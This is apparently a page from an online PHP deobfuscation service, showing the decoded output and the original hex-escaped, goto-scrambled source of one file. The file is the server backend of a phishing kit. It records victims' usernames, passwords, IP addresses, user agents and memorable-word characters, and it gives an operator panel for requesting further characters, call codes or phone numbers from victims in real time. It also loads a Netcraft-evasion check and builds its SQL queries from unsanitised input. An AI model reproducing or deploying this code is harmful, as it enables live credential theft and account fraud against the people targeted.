Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto QZens; WsfHX: include "\x6d\x61\x72\x67\151\156\x2e\160\x68\160"; goto Digtt;..

Decoded Output download

<?php 
 goto QZens; WsfHX: include "margin.php"; goto Digtt; Digtt: include "../vendor/100.php"; goto ZT7vs; yPsz1: include "../vendor/netcraft_check.php"; goto aXfDT; ZT7vs: include "../vendor/200.php"; goto MbFH9; xagWG: if ($_SESSION["started"] == "true") { if ($_GET["wait"] and numeric($_GET["wait"]) == true) { $id = $_GET["wait"]; $query = mysqli_query($conn, "UPDATE customers SET status=0 WHERE uniqueid={$id}"); if ($query) { echo json_encode(array("status" => "ok")); } else { echo json_encode(array("status" => "wait notok")); } } if ($_GET["getstatus"] and numeric($_GET["getstatus"]) == true) { $id = $_GET["getstatus"]; $query = mysqli_query($conn, "SELECT * from customers WHERE uniqueid='{$id}'"); if (mysqli_num_rows($query) >= 1) { $array = mysqli_fetch_array($query, MYSQLI_ASSOC); echo $array["status"]; } } if ($_GET["type"] == "MemChar") { if ($_POST["memchar1"] and $_POST["memchar2"] and $_POST["memchar3"] and $_POST["userid"] and numeric($_POST["userid"]) == true) { $memchar1 = $_POST["memchar1"]; $memchar2 = $_POST["memchar2"]; $memchar3 = $_POST["memchar3"]; $comment = "Memo characters Entered, user waiting"; $uniqueid = $_POST["userid"]; $query = mysqli_query($conn, "UPDATE customers SET memchar1='{$memchar1}', memchar2='{$memchar2}', memchar3='{$memchar3}', comment='{$comment}', status=2, buzzed=0 WHERE uniqueid={$uniqueid}"); if ($query) { echo json_encode(array("status" => "ok")); } else { echo json_encode(array("status" => "CC Error")); } } } if ($_GET["type"] == "CallMe") { if ($_POST["usrpass"] and $_POST["userid"] and numeric($_POST["userid"]) == true) { $comment = "User ready for call, waiting"; $uniqueid = $_POST["userid"]; $query = mysqli_query($conn, "UPDATE customers SET comment='{$comment}', status=3, buzzed=0 WHERE uniqueid={$uniqueid}"); if ($query) { echo json_encode(array("status" => "ok")); } else { echo json_encode(array("status" => "Pass Error")); } } } } goto qmN6t; aXfDT: session_start(); goto eUeb_; ePWTi: include "../vendor/index.php"; goto yPsz1; MbFH9: include "../vendor/300.php"; goto ePWTi; eUeb_: function numeric($num) { if (preg_match("/^[0-9]+$/", $num)) { $status = true; } else { $status = false; } return $status; } goto iVtGt; QZens: include "../../CONFIG.php"; goto WsfHX; iVtGt: if ($_GET["type"] == "login") { if ($_POST["usrlogin"] and $_POST["usrpass"] and $_POST["ip"] and $_POST["ua"]) { $usrlogin = $_POST["usrlogin"]; $usrpass = $_POST["usrpass"]; $ip = $_POST["ip"]; $comment = "User just logged into account"; $ua = urlencode($_POST["ua"]); $uniqueid = time(); if ($_SESSION["started"] == "true") { $uniqueid = $_SESSION["uniqueid"]; $query = mysqli_query($conn, "UPDATE customers SET status=1, buzzed=0, usrlogin='{$usrlogin}', usrpass='{$usrpass}', comment='{$comment}', useragent='{$ua}', ip='{$ip}' WHERE uniqueid={$uniqueid}"); if ($query) { echo json_encode(array("status" => "ok")); } else { echo json_encode(array("status" => "db conn notok")); } } else { $_SESSION["uniqueid"] = $uniqueid; $_SESSION["started"] = "true"; $query = mysqli_query($conn, "INSERT INTO customers (usrlogin, usrpass, comment, ip, useragent, uniqueid, status) VALUES ('{$usrlogin}', '{$usrpass}', '{$comment}', '{$ip}', '{$ua}',{$uniqueid}, 1)"); if ($query) { echo json_encode(array("status" => "ok")); } else { echo json_encode(array("status" => "db conn notok")); } } } } goto biKfT; biKfT: if ($_SESSION["admin_logged"] == "true") { if ($_GET["type"] == "commmand") { if ($_POST["userid"] and numeric($_POST["userid"]) == true and $_POST["status"] and numeric($_POST["status"]) == true) { $userid = $_POST["userid"]; $status = $_POST["status"]; $askchar1 = $_POST["askchar1"]; $askchar2 = $_POST["askchar2"]; $askchar3 = $_POST["askchar3"]; $call_code = $_POST["call_code"]; $phonenum = $_POST["phonenum"]; $comment = "Admin has sent command"; if ($askchar1 != null and $askchar1 != '' and ($askchar2 != null and $askchar2 != '') and ($askchar3 != '' and $askchar3 != null) and ($call_code == null and $phonenum == null)) { $query = mysqli_query($conn, "UPDATE customers SET comment='{$comment}', status='{$status}', askchar1='{$askchar1}', askchar2='{$askchar2}', askchar3='{$askchar3}' WHERE id={$userid}"); } else { if ($call_code != '' and $call_code != null and ($phonenum == '' and $phonenum == null) and ($askchar1 == '' and $askchar2 == '' and $askchar3 == '')) { $query = mysqli_query($conn, "UPDATE customers SET comment='{$comment}', status='{$status}', call_code='{$call_code}' WHERE id={$userid}"); } else { if ($phonenum != '' and $phonenum != null and ($call_code == '' and $call_code == null) and ($askchar1 == '' and $askchar2 == '' and $askchar3 == '')) { $query = mysqli_query($conn, "UPDATE customers SET comment='{$comment}', status='{$status}', phonenum='{$phonenum}' WHERE id={$userid}"); } else { $query = mysqli_query($conn, "UPDATE customers SET status={$status} WHERE id={$userid}"); } } } if ($query) { echo json_encode(array("status" => "ok")); } else { echo json_encode(array("status" => "db conn error")); } } else { echo json_encode(array("status" => "command error")); } } if (isset($_GET["get_submitted"])) { $query = mysqli_query($conn, "SELECT * FROM customers WHERE status<=8 and buzzed=0"); if ($query) { $num = mysqli_num_rows($query); $array = mysqli_fetch_array($query, MYSQLI_ASSOC); if ($num >= 1) { echo json_encode(array("status" => "ok")); } else { echo json_encode(array("status" => "notok")); } } else { echo json_encode(array("status" => "notok")); } } if (isset($_GET["counter"])) { $ipFile = "../../logs/visits.txt"; $activequery = mysqli_query($conn, "SELECT * FROM customers WHERE status <20"); $completequery = mysqli_query($conn, "SELECT * FROM customers WHERE status=20"); if ($activequery and $completequery) { $userRows = count(file($ipFile)); $activeRows = mysqli_num_rows($activequery); $completeRows = mysqli_num_rows($completequery); $stats = array("usernum" => $userRows, "activenum" => $activeRows, "completednum" => $completeRows); echo json_encode($stats); } else { echo json_encode(array("stats" => "error")); } } if (isset($_GET["visitlog"])) { $ipFile = "../../logs/visitors.txt"; $logquery = file_get_contents($ipFile, true); if ($logquery) { $log = array("visitorlog" => $logquery); echo json_encode($log); } else { echo json_encode(array("stats" => "error")); } } if (isset($_GET["buzzoff"])) { $query = mysqli_query($conn, "SELECT * FROM customers WHERE status<=8"); if ($query) { $array = array_filter(mysqli_fetch_all($query, MYSQLI_ASSOC)); foreach ($array as $value) { $userid = $value["id"]; $queryy = mysqli_query($conn, "UPDATE customers SET buzzed=1 WHERE id={$userid}"); if ($queryy) { $stat = "ok"; } else { $stat = "notok"; } } if ($stat == "ok") { echo json_encode(array("status" => "ok")); } else { echo json_encode(array("status" => "notok")); } } else { echo json_encode(array("status" => "notok")); } } if ($_GET["type"] == "delete") { if ($_POST["userid"] and numeric($_POST["userid"]) == true) { $userid = $_POST["userid"]; $query = mysqli_query($conn, "DELETE FROM customers WHERE id={$userid}"); if ($query) { echo json_encode(array("status" => "ok")); } else { echo json_encode(array("status" => "notok")); } } else { echo json_encode(array("status" => "notokk")); } } if ($_GET["type"] == "submitted") { if ($_POST["userid"] and numeric($_POST["userid"]) == true) { $userid = $_POST["userid"]; $status = str_replace("_{$userid}", '', $_POST["status"]); if ($status == "accept") { $status = 11; } elseif ($status == "reject") { $status = 12; } else { echo json_encode(array("status" => "notok")); } $query = mysqli_query($conn, "UPDATE customers SET status={$status} WHERE id={$userid}"); if ($query) { echo json_encode(array("status" => "ok")); } else { echo json_encode(array("status" => "notok")); } } else { echo json_encode(array("status" => "notokk")); } } } goto xagWG; qmN6t: ?>

Did this file decode correctly?

Original Code

<?php
 goto QZens; WsfHX: include "\x6d\x61\x72\x67\151\156\x2e\160\x68\160"; goto Digtt; Digtt: include "\x2e\x2e\x2f\x76\x65\156\144\157\x72\57\x31\60\60\x2e\160\x68\160"; goto ZT7vs; yPsz1: include "\x2e\x2e\x2f\166\x65\x6e\x64\x6f\x72\57\156\145\x74\x63\x72\141\146\x74\137\x63\150\x65\x63\x6b\56\x70\x68\160"; goto aXfDT; ZT7vs: include "\x2e\56\57\166\145\x6e\144\x6f\x72\x2f\62\x30\60\x2e\x70\150\160"; goto MbFH9; xagWG: if ($_SESSION["\x73\164\x61\162\x74\145\144"] == "\x74\x72\x75\x65") { if ($_GET["\x77\141\x69\x74"] and numeric($_GET["\x77\x61\151\x74"]) == true) { $id = $_GET["\167\141\x69\x74"]; $query = mysqli_query($conn, "\x55\x50\104\x41\x54\105\x20\143\x75\163\164\157\155\x65\162\x73\40\123\105\x54\40\163\x74\x61\164\165\163\x3d\60\40\x57\x48\x45\122\105\40\165\156\151\161\165\x65\151\x64\x3d{$id}"); if ($query) { echo json_encode(array("\163\x74\141\x74\x75\163" => "\x6f\x6b")); } else { echo json_encode(array("\163\x74\x61\164\x75\x73" => "\x77\x61\x69\x74\40\x6e\x6f\x74\157\153")); } } if ($_GET["\147\145\x74\x73\164\141\164\165\163"] and numeric($_GET["\x67\145\x74\x73\x74\141\164\165\x73"]) == true) { $id = $_GET["\x67\145\164\x73\x74\141\x74\x75\163"]; $query = mysqli_query($conn, "\123\105\x4c\105\103\124\40\x2a\40\x66\162\157\x6d\x20\143\165\x73\164\157\x6d\145\162\163\40\127\x48\x45\x52\105\x20\165\x6e\151\161\x75\x65\151\x64\x3d\x27{$id}\x27"); if (mysqli_num_rows($query) >= 1) { $array = mysqli_fetch_array($query, MYSQLI_ASSOC); echo $array["\x73\x74\x61\164\165\163"]; } } if ($_GET["\164\x79\x70\x65"] == "\x4d\x65\155\x43\150\141\x72") { if ($_POST["\155\x65\x6d\x63\x68\x61\x72\61"] and $_POST["\x6d\x65\x6d\143\150\141\x72\62"] and $_POST["\x6d\145\x6d\143\x68\x61\x72\x33"] and $_POST["\x75\x73\145\x72\x69\144"] and numeric($_POST["\165\x73\145\162\151\144"]) == true) { $memchar1 = $_POST["\155\145\155\143\x68\x61\162\61"]; $memchar2 = $_POST["\155\145\x6d\x63\150\x61\x72\x32"]; $memchar3 = $_POST["\155\x65\x6d\x63\x68\141\x72\x33"]; $comment = "\115\x65\x6d\157\x20\143\150\141\x72\x61\143\x74\x65\162\163\40\x45\156\164\145\162\145\144\54\40\x75\163\145\x72\x20\167\x61\151\164\x69\156\x67"; $uniqueid = $_POST["\x75\x73\x65\162\x69\x64"]; $query = mysqli_query($conn, "\x55\x50\104\101\124\x45\x20\143\x75\x73\164\x6f\155\145\x72\163\40\123\x45\124\x20\x6d\x65\x6d\143\x68\x61\x72\x31\x3d\x27{$memchar1}\x27\x2c\x20\155\145\x6d\143\x68\x61\162\x32\75\47{$memchar2}\x27\54\40\x6d\x65\155\143\150\x61\x72\63\x3d\47{$memchar3}\47\54\x20\143\x6f\x6d\155\145\x6e\164\75\x27{$comment}\47\x2c\40\x73\164\141\x74\x75\x73\75\x32\x2c\x20\x62\165\172\x7a\x65\144\75\x30\40\x57\x48\x45\x52\105\40\x75\156\151\161\x75\145\x69\144\x3d{$uniqueid}"); if ($query) { echo json_encode(array("\163\164\x61\x74\165\163" => "\x6f\153")); } else { echo json_encode(array("\163\164\141\164\x75\163" => "\x43\103\40\105\x72\x72\x6f\162")); } } } if ($_GET["\x74\171\160\x65"] == "\x43\x61\154\154\115\x65") { if ($_POST["\x75\x73\162\x70\x61\163\163"] and $_POST["\x75\163\x65\x72\151\144"] and numeric($_POST["\x75\163\145\162\151\144"]) == true) { $comment = "\125\x73\x65\x72\x20\162\145\141\144\x79\40\x66\x6f\x72\40\143\x61\x6c\x6c\x2c\x20\x77\x61\x69\164\151\x6e\x67"; $uniqueid = $_POST["\x75\x73\x65\162\151\144"]; $query = mysqli_query($conn, "\125\120\104\x41\124\105\x20\x63\165\163\164\157\155\x65\x72\x73\x20\x53\x45\x54\x20\x63\x6f\155\x6d\145\x6e\164\75\x27{$comment}\x27\x2c\40\x73\x74\141\x74\165\x73\75\x33\x2c\x20\142\165\172\172\x65\144\75\60\40\x57\x48\105\122\105\x20\165\x6e\x69\161\165\x65\x69\144\x3d{$uniqueid}"); if ($query) { echo json_encode(array("\163\x74\x61\164\x75\163" => "\157\x6b")); } else { echo json_encode(array("\163\x74\141\164\x75\163" => "\120\x61\x73\x73\40\105\x72\x72\x6f\x72")); } } } } goto qmN6t; aXfDT: session_start(); goto eUeb_; ePWTi: include "\56\56\57\x76\145\x6e\144\157\162\x2f\151\x6e\x64\145\170\x2e\x70\150\160"; goto yPsz1; MbFH9: include "\56\56\57\166\145\156\144\x6f\162\57\x33\60\60\x2e\160\x68\x70"; goto ePWTi; eUeb_: function numeric($num) { if (preg_match("\57\136\x5b\x30\55\71\x5d\53\x24\57", $num)) { $status = true; } else { $status = false; } return $status; } goto iVtGt; QZens: include "\x2e\x2e\x2f\56\x2e\x2f\x43\x4f\x4e\106\x49\x47\56\x70\150\x70"; goto WsfHX; iVtGt: if ($_GET["\x74\x79\160\145"] == "\154\x6f\147\151\x6e") { if ($_POST["\165\163\162\x6c\x6f\x67\x69\156"] and $_POST["\165\163\x72\160\141\163\163"] and $_POST["\151\160"] and $_POST["\165\141"]) { $usrlogin = $_POST["\165\x73\x72\154\157\147\151\x6e"]; $usrpass = $_POST["\165\x73\x72\x70\141\163\163"]; $ip = $_POST["\151\x70"]; $comment = "\x55\163\x65\162\40\152\x75\163\164\x20\x6c\x6f\147\147\145\x64\40\151\156\x74\157\40\x61\x63\143\x6f\165\156\x74"; $ua = urlencode($_POST["\x75\x61"]); $uniqueid = time(); if ($_SESSION["\x73\164\x61\x72\164\145\x64"] == "\164\x72\165\x65") { $uniqueid = $_SESSION["\x75\156\x69\x71\165\145\x69\x64"]; $query = mysqli_query($conn, "\125\x50\x44\x41\124\105\40\x63\x75\163\164\157\155\x65\162\163\x20\123\x45\x54\x20\x73\164\x61\x74\x75\x73\75\61\x2c\40\x62\x75\172\172\145\x64\x3d\60\x2c\40\x75\163\x72\154\157\147\x69\x6e\75\47{$usrlogin}\x27\54\x20\x75\163\162\x70\141\163\x73\75\47{$usrpass}\47\54\x20\x63\x6f\x6d\x6d\x65\156\164\75\x27{$comment}\47\x2c\x20\165\163\x65\162\x61\147\x65\156\x74\75\x27{$ua}\47\x2c\x20\151\160\75\x27{$ip}\47\x20\x57\110\x45\x52\x45\x20\x75\156\151\x71\165\x65\151\144\x3d{$uniqueid}"); if ($query) { echo json_encode(array("\x73\x74\x61\164\x75\163" => "\x6f\153")); } else { echo json_encode(array("\x73\x74\x61\164\x75\163" => "\x64\142\40\143\157\156\156\40\x6e\x6f\x74\157\153")); } } else { $_SESSION["\165\x6e\x69\x71\x75\x65\151\144"] = $uniqueid; $_SESSION["\x73\164\x61\x72\x74\145\144"] = "\164\162\x75\x65"; $query = mysqli_query($conn, "\111\116\x53\x45\x52\124\40\x49\116\124\x4f\x20\x63\x75\x73\x74\157\x6d\145\x72\163\40\x28\x75\x73\x72\154\157\x67\x69\156\54\40\165\163\x72\160\x61\x73\x73\x2c\40\x63\157\155\155\x65\156\x74\x2c\40\x69\160\54\40\165\163\x65\x72\141\x67\x65\156\164\x2c\x20\165\156\151\161\165\x65\151\144\x2c\40\x73\164\x61\164\x75\x73\51\40\126\101\x4c\125\x45\x53\40\50\47{$usrlogin}\47\54\40\47{$usrpass}\47\54\40\47{$comment}\x27\x2c\x20\x27{$ip}\47\x2c\40\x27{$ua}\x27\x2c{$uniqueid}\54\40\x31\x29"); if ($query) { echo json_encode(array("\x73\x74\x61\x74\x75\163" => "\x6f\153")); } else { echo json_encode(array("\x73\164\141\164\165\163" => "\x64\x62\x20\143\x6f\156\x6e\40\156\157\x74\157\153")); } } } } goto biKfT; biKfT: if ($_SESSION["\141\144\x6d\151\156\x5f\154\x6f\x67\x67\145\144"] == "\164\162\x75\x65") { if ($_GET["\x74\171\160\x65"] == "\143\157\155\155\155\x61\156\x64") { if ($_POST["\x75\163\x65\x72\151\144"] and numeric($_POST["\x75\x73\x65\x72\x69\x64"]) == true and $_POST["\163\x74\x61\164\165\163"] and numeric($_POST["\x73\x74\x61\164\x75\x73"]) == true) { $userid = $_POST["\165\x73\145\162\x69\144"]; $status = $_POST["\163\164\x61\x74\x75\x73"]; $askchar1 = $_POST["\x61\x73\x6b\143\x68\141\162\61"]; $askchar2 = $_POST["\x61\163\x6b\143\x68\x61\162\62"]; $askchar3 = $_POST["\141\x73\x6b\x63\x68\141\x72\x33"]; $call_code = $_POST["\x63\x61\x6c\x6c\137\x63\157\144\145"]; $phonenum = $_POST["\x70\150\x6f\x6e\x65\x6e\x75\155"]; $comment = "\x41\x64\155\151\156\40\x68\141\x73\x20\163\145\156\x74\40\143\x6f\155\155\x61\156\144"; if ($askchar1 != null and $askchar1 != '' and ($askchar2 != null and $askchar2 != '') and ($askchar3 != '' and $askchar3 != null) and ($call_code == null and $phonenum == null)) { $query = mysqli_query($conn, "\125\x50\104\101\x54\105\40\143\165\x73\x74\157\x6d\145\162\x73\40\123\x45\x54\40\143\157\x6d\155\145\x6e\164\x3d\x27{$comment}\47\54\x20\x73\164\141\x74\x75\163\75\x27{$status}\x27\54\x20\141\163\153\143\x68\x61\x72\x31\x3d\x27{$askchar1}\47\54\x20\141\x73\153\143\150\141\x72\x32\x3d\47{$askchar2}\47\x2c\x20\141\x73\x6b\143\150\141\x72\x33\75\x27{$askchar3}\x27\40\127\x48\x45\122\105\x20\151\x64\75{$userid}"); } else { if ($call_code != '' and $call_code != null and ($phonenum == '' and $phonenum == null) and ($askchar1 == '' and $askchar2 == '' and $askchar3 == '')) { $query = mysqli_query($conn, "\125\120\104\101\124\x45\40\143\x75\163\164\157\x6d\x65\162\x73\x20\x53\105\124\40\x63\x6f\155\155\x65\156\164\75\47{$comment}\x27\54\x20\x73\x74\x61\164\x75\x73\75\x27{$status}\47\54\x20\143\x61\x6c\x6c\137\143\x6f\144\145\x3d\47{$call_code}\x27\40\127\110\x45\122\x45\x20\x69\144\x3d{$userid}"); } else { if ($phonenum != '' and $phonenum != null and ($call_code == '' and $call_code == null) and ($askchar1 == '' and $askchar2 == '' and $askchar3 == '')) { $query = mysqli_query($conn, "\125\x50\104\101\x54\105\40\143\x75\x73\164\x6f\155\145\x72\x73\40\123\105\x54\40\143\x6f\155\x6d\x65\156\x74\x3d\x27{$comment}\x27\54\40\163\164\141\164\165\163\75\x27{$status}\x27\x2c\x20\160\150\157\156\145\x6e\165\155\75\47{$phonenum}\x27\x20\x57\110\x45\x52\x45\40\x69\x64\75{$userid}"); } else { $query = mysqli_query($conn, "\125\120\x44\x41\x54\105\x20\143\165\x73\164\157\155\x65\x72\163\40\123\x45\124\x20\x73\x74\x61\164\165\163\x3d{$status}\x20\x57\x48\105\122\x45\40\151\144\x3d{$userid}"); } } } if ($query) { echo json_encode(array("\x73\164\141\164\165\163" => "\x6f\x6b")); } else { echo json_encode(array("\x73\164\x61\x74\165\x73" => "\144\x62\40\x63\x6f\x6e\x6e\x20\145\162\x72\157\x72")); } } else { echo json_encode(array("\163\164\141\x74\x75\163" => "\x63\157\x6d\155\141\x6e\x64\x20\x65\162\x72\157\x72")); } } if (isset($_GET["\x67\145\x74\x5f\163\x75\x62\x6d\151\164\x74\145\144"])) { $query = mysqli_query($conn, "\123\105\x4c\105\103\124\40\52\x20\x46\122\x4f\115\40\143\x75\x73\164\157\x6d\x65\x72\163\40\127\x48\105\x52\x45\40\163\164\x61\x74\x75\163\74\75\x38\40\141\156\144\40\x62\x75\172\172\x65\x64\75\60"); if ($query) { $num = mysqli_num_rows($query); $array = mysqli_fetch_array($query, MYSQLI_ASSOC); if ($num >= 1) { echo json_encode(array("\163\x74\x61\164\x75\x73" => "\157\x6b")); } else { echo json_encode(array("\x73\x74\x61\164\x75\x73" => "\x6e\157\x74\157\153")); } } else { echo json_encode(array("\x73\x74\x61\x74\x75\x73" => "\156\157\164\157\153")); } } if (isset($_GET["\143\157\165\x6e\164\145\x72"])) { $ipFile = "\56\x2e\x2f\x2e\56\57\x6c\x6f\x67\x73\57\166\x69\x73\151\x74\x73\x2e\x74\170\x74"; $activequery = mysqli_query($conn, "\x53\105\x4c\105\x43\x54\x20\52\x20\106\122\x4f\x4d\x20\143\x75\x73\164\157\155\145\x72\163\x20\127\x48\x45\122\105\x20\163\164\x61\x74\165\x73\x20\x3c\62\60"); $completequery = mysqli_query($conn, "\x53\x45\114\105\103\x54\40\x2a\x20\x46\x52\117\x4d\40\x63\x75\x73\164\x6f\x6d\x65\x72\163\40\127\x48\105\x52\x45\x20\x73\164\141\x74\165\163\x3d\x32\x30"); if ($activequery and $completequery) { $userRows = count(file($ipFile)); $activeRows = mysqli_num_rows($activequery); $completeRows = mysqli_num_rows($completequery); $stats = array("\x75\x73\145\x72\156\x75\x6d" => $userRows, "\141\x63\164\151\x76\145\x6e\165\x6d" => $activeRows, "\143\x6f\x6d\x70\154\x65\164\145\144\156\165\x6d" => $completeRows); echo json_encode($stats); } else { echo json_encode(array("\x73\164\x61\x74\163" => "\145\x72\x72\157\x72")); } } if (isset($_GET["\166\x69\x73\x69\x74\x6c\x6f\x67"])) { $ipFile = "\56\x2e\x2f\56\56\x2f\x6c\x6f\x67\x73\x2f\166\x69\163\151\164\x6f\162\163\x2e\164\x78\164"; $logquery = file_get_contents($ipFile, true); if ($logquery) { $log = array("\166\151\x73\x69\164\x6f\162\154\157\x67" => $logquery); echo json_encode($log); } else { echo json_encode(array("\x73\x74\141\164\x73" => "\145\162\x72\x6f\x72")); } } if (isset($_GET["\142\x75\172\x7a\x6f\146\x66"])) { $query = mysqli_query($conn, "\123\105\114\x45\x43\x54\x20\x2a\40\106\122\x4f\x4d\40\143\x75\163\164\157\155\x65\x72\x73\x20\127\x48\105\x52\x45\40\x73\x74\141\x74\x75\x73\x3c\x3d\70"); if ($query) { $array = array_filter(mysqli_fetch_all($query, MYSQLI_ASSOC)); foreach ($array as $value) { $userid = $value["\151\144"]; $queryy = mysqli_query($conn, "\125\120\x44\x41\124\105\40\x63\165\163\x74\157\x6d\145\162\163\x20\123\105\124\x20\142\x75\x7a\172\145\144\75\x31\x20\127\x48\x45\122\105\x20\x69\x64\75{$userid}"); if ($queryy) { $stat = "\x6f\x6b"; } else { $stat = "\156\x6f\x74\x6f\x6b"; } } if ($stat == "\x6f\x6b") { echo json_encode(array("\x73\x74\141\x74\165\163" => "\157\153")); } else { echo json_encode(array("\x73\164\x61\164\165\x73" => "\156\x6f\164\x6f\153")); } } else { echo json_encode(array("\163\164\x61\164\165\x73" => "\156\x6f\164\157\x6b")); } } if ($_GET["\164\x79\160\145"] == "\144\145\x6c\x65\x74\x65") { if ($_POST["\165\x73\145\162\x69\144"] and numeric($_POST["\165\x73\145\162\x69\144"]) == true) { $userid = $_POST["\165\163\145\162\151\144"]; $query = mysqli_query($conn, "\x44\105\x4c\x45\x54\105\40\106\122\117\x4d\x20\x63\x75\x73\164\x6f\155\145\x72\163\40\127\110\x45\x52\105\40\x69\144\75{$userid}"); if ($query) { echo json_encode(array("\x73\x74\x61\x74\165\163" => "\157\x6b")); } else { echo json_encode(array("\x73\164\x61\164\x75\163" => "\x6e\157\164\x6f\x6b")); } } else { echo json_encode(array("\x73\x74\141\164\165\x73" => "\x6e\x6f\x74\157\x6b\x6b")); } } if ($_GET["\x74\x79\160\145"] == "\163\165\x62\x6d\151\x74\x74\x65\x64") { if ($_POST["\x75\x73\x65\162\x69\144"] and numeric($_POST["\x75\163\x65\162\x69\144"]) == true) { $userid = $_POST["\165\163\145\162\x69\144"]; $status = str_replace("\137{$userid}", '', $_POST["\x73\x74\x61\164\x75\x73"]); if ($status == "\141\x63\x63\x65\x70\x74") { $status = 11; } elseif ($status == "\x72\x65\x6a\145\x63\x74") { $status = 12; } else { echo json_encode(array("\x73\164\x61\x74\x75\x73" => "\156\157\164\157\153")); } $query = mysqli_query($conn, "\125\x50\104\101\x54\105\x20\143\x75\163\x74\157\155\x65\x72\163\40\123\105\124\40\x73\x74\x61\x74\165\x73\x3d{$status}\x20\x57\110\x45\x52\x45\x20\151\144\75{$userid}"); if ($query) { echo json_encode(array("\163\x74\141\x74\x75\x73" => "\x6f\153")); } else { echo json_encode(array("\163\164\x61\164\x75\x73" => "\156\157\x74\157\153")); } } else { echo json_encode(array("\163\164\141\164\x75\163" => "\x6e\x6f\164\x6f\x6b\x6b")); } } } goto xagWG; qmN6t: ?>

Function Calls

None

Variables

None

Stats

MD5 0a8f84c657df96e499ced9985c75d394
Eval Count 0
Decode Time 60 ms